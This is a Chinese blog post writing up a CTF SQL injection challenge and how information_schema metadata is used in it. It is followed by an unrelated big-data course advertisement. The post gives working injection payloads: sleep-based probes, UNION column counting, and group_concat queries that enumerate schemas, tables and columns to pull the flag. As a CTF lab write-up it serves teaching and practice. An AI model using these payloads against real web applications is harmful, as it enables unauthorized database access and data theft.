从一道CTF题目看sql注入中元数据的应用

前言

第一次看到元数据在sql注入的应用好像是在《web安全深度剖析》,鉴于经验缺乏,只是知道有这么个东西,不知道怎么应用。今天遇到一道和元数据相关的SQL注入题目,所以记录下来。

获取元数据

//获取所有的库名称:
select SCHEMA_NAME from information_schema.SCHEMATA
//获取某一库中所有表的名称:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='此处为库名'
//获取某一表的所有字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='此处为表名'

题目分析

题目地址:http://120.24.86.145:8002/chengjidan/

第一步测试

出于习惯,在输入框提交以下信息:

’(单引号) —无反应

1-3 三个数字 —显示三个人的成绩

1' and sleep(3) -- s —延时返回,结果与只输入1相同(这里引号应该闭合成功了,and sleep(3) 可替换为其他合法语句)

' or 1=1 -- s—与只输入1相同(这里猜测其实查询出了多条记录,但是页面只显示第一条)

' or 1=1 order by id DESC -- s —与只输入3相同(到这里可以大概判断出:该表中共有3条记录,且页面只显示每次查询的第一条记录,与上面的猜测吻合)

进一步猜测查询语句结构

为了方便后续使用union查询,我们需要进一步判断当前查询语句查询了几个字段。

1' union select 1,2,3 -- s
1' union select 1,2,3,4 -- s
1' union select 1,2,3,4,5 -- s

执行上述语句后只有第二个正常返回结果,所以查询语句应该查询了4个字段。

寻找flag在数据库中的位置


这里就是用到元数据的地方了。其实根据上面的测试,我们已经找到了能够执行语句的地方。

-1' (此处填写合法语句) -- s //这里-1是因为想让他查不出任何记录,这样第一条记录才会是我想要的记录。

首先查询数据库:SELECT SCHEMA_NAME FROM information_schema.SCHEMATA
构造如下语句:-1' union select 1,2,3,(SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA) -- s (group_concat为了使得多个记录显示在一起)。
可查询出flag所在数据库:skctf_flag

再查询skctf_flag中有哪些表:
-1' union SELECT 1,2,3,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='skctf_flag') -- s
可知flag应该在fl4g表中。

再查询表中列:-1' union select 1,2,3,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='fl4g') -- s
列为skctf_flag。

最后查询flag:-1' union select 1,2,3,(select skctf_flag from fl4g) -- s

结束。

课程简介:  本项目课程是一门极具综合性和完整性的大型项目课程;课程项目的业务背景源自各类互联网公司对海量用户浏览行为数据和业务数据分析的需求及企业数据管理、数据运营需求。 本课程项目涵盖数据采集与预处理、数据仓库体系建设、用户画像系统建设、数据治理(元数据管理、数据质量管理)、任务调度系统、数据服务层建设、OLAP即席分析系统建设等大量模块,力求原汁原味重现一个完备的企业级大型数据运营系统。  拒绝demo,拒绝宏观抽象,拒绝只讲不练,本课程高度揉和理论与实战,并兼顾各层次的学员,真正从0开始,循序渐进,每一个步骤每一个环节,都会带领学员从需求分析开始,到逻辑设计,最后落实到每一行代码,所有流程都采用企业级解决方案,并手把手带领学员一一实现,拒绝复制粘贴,拒绝demo化的实现。并且会穿插大量的原创图解,来帮助学员理解复杂逻辑,掌握关键流程,熟悉核心架构。   跟随项目课程,历经接近100+小时的时间,从需求分析开始,到数据埋点采集,到预处理程序代码编写,到数仓体系搭建......逐渐展开整个项目的宏大视图,构建起整个项目的摩天大厦。  由于本课程不光讲解项目的实现,还会在实现过程反复揉和各种技术细节,各种设计思想,各种最佳实践思维,学完本项目并勤于实践的话,学员的收获将远远超越一个项目的具体实现,更能对大型数据系统开发产生深刻体悟,对很多技术的应用将感觉豁然开朗,并带来融会贯通能力的巨大飞跃。当然,最直接的收获是,学完本课程,你将很容易就拿到大数据数仓建设或用户画像建设等岗位的OFFER课程模块: 1. 数据采集:涉及到埋点日志flume采集系统,sqoop业务数据抽取系统等; 2. 数据预处理:涉及到各类字典数据构建,复杂结构数据清洗解析,数据集成,数据修正,以及多渠道数据的用户身份标识打通:ID-MAPPING等;3. 数据仓库:涉及到hive数仓基础设施搭建,数仓分层体系设计,数仓分析主题设计,多维分析实现,ETL任务脚本开发,ETL任务调度,数据生命周期管理等;4. 数据治理:涉及数据资产查询管理,数据质量监控管理,atlas元数据管理系统,atlas数据血缘管理等;5. 用户画像系统:涉及画像标签体系设计,标签体系层级关系设计,各类标签计算实现,兴趣类标签的衰减合并,模型标签的机器学习算法应用及特征提取、模型训练等;6. OLAP即席分析平台:涉及OLAP平台的整体架构设计,技术选型,底层存储实现,Presto查询引擎搭建,数据服务接口开发等;7. 数据服务:涉及数据服务的整体设计理念,架构搭建,各类数据访问需求的restapi开发等;课程所涉及的技术: 整个项目课程,将涉及到一个大型数据系统所用到的几乎所有主要技术,具体来说,包含但不限于如下技术组件:l Hadoopl Hivel HBasel SparkCore /SparkSQL/ Spark GRAPHX / Spark Mllibl Sqoopl Azkabanl Flumel lasal Kafkal Zookeeperl Solrl Prestop
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值